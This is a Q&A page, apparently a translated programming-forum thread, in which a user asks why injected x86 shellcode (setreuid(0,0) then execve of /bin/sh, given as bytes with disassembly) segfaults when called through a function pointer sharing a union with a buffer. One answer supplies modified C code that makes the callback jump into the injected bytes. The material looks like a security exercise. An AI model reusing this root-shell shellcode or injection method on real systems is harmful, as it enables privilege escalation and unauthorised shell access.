Выполнение кода оболочки с использованием указателя функции, присутствующего в Union - PullRequest
1 голос
/ 12 мая 2019

Я пытаюсь ввести код оболочки в буфер символов и выполнить его с помощью указателя функции.и строка, и указатель на функцию находятся в объединении.Ниже приведен код оболочки, который я использую, пытаясь выполнить

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
 0: 31 c0            xor    eax, eax
 2: b0 46            mov    al, 0x46                   ; setreuid (70)
 4: 31 db            xor    ebx, ebx                   ; real uid
 6: 31 c9            xor    ecx, ecx                   ; effective uid
 8: cd 80            int    0x80                       ; setreuid(0, 0)
 a: eb 16            jmp    0x22                       ; jump to call at end
 c: 5b               pop    ebx                        ; get address of "/bin/sh"
 d: 31 c0            xor    eax, eax
 f: 88 43 07         mov    BYTE PTR[ebx + 0x7], al    ; zero terminate "/bin/sh"
12: 89 5b 08         mov    DWORD PTR[ebx + 0x8], ebx  ; + address of "/bin/sh"
15: 89 43 0c         mov    DWORD PTR[ebx + 0xc], eax  ; + NULL pointer
18: b0 0b            mov    al, 0x0b                   ; execve (11)
1a: 8d 4b 08         lea    ecx, [ebx + 0x8]           ; load argv (ptr to "/bin/sh")
1d: 8d 53 0c         lea    edx, [ebx + 0xc]           ; load envp (NULL)
20: cd 80            int    0x80                       ; execve("/bin/sh", "/bin/sh", NULL)
22: e8 e5 ff ff ff   call   0x0c                       ; push address on the stack
27:                  "/bin/sh"                         ;   and jump back
union array_or_function_pointer 
{
        char string[128];
        void (*callback)(void);
};

void trialversion()
{
    printf("This is a trial version. Please purchase the full version to enable all features!\n");
}


int main(int argc, char *argv[])
{
        FILE *fp;
        union array_or_function_pointer obj;
        fp = fopen(argv[1], "r");

        obj.callback = trialversion;
        obj.callback();
        fread(obj.string, 128, 1, fp);
        obj.callback();

        fclose(fp);
        return 0;
}

Код оболочки не выполняется, и я получаю ошибку сегментации, как показано ниже.Я использовал -z execstack.

gcc -g -fno-stack-protector -z execstack sample.c -o sample

harsha@hv-XPS:~/ass6$ ./sample pass_junk.txt 
This is a trial version. Please purchase the full version to enable all features!
Segmentation fault (core dumped)

Кажется, проблема в том, что программа проверяет адрес, присутствующий в коде оболочки

Ответы [ 2 ]

1 голос
/ 12 мая 2019

Добавьте sizeof(void(*)()) фиктивных байтов (например, \x90\x90\x90\x90) в начале вашего шелл-кода.Тогда:

#include <stdio.h>

union array_or_function_pointer
{
    char code[/* size */];
    void(*callback)(void);
};

void foo(void) { puts("foo()"); }

int main(int argc, char **argv)
{
    union array_or_function_pointer obj;
    obj.callback = foo;
    obj.callback();

    FILE *fp = fopen(argv[1], "rb");
    fread(obj.code, 1, /* size */, fp);
    fclose(fp);

    obj.callback = &obj.callback + 1;   // the code is located *behind*
    obj.callback();                    //  the pointer value.
}
1 голос
/ 12 мая 2019

Обычно указатель на переменную функции реализуется как память, содержащая адрес первой инструкции вызываемой функции. Вы помещаете инструкции непосредственно в obj, а не в адрес.

Чтобы этот вид эксплойта заработал, вам нужно было бы одновременно ввести введенные инструкции в память, а также поместить адрес памяти, содержащей эти инструкции, в obj.callback. Но это будет непросто, потому что большинство операционных систем используют рандомизацию расположения адресного пространства, чтобы затруднить точное предсказание, где именно будут находиться объекты в стеке.

...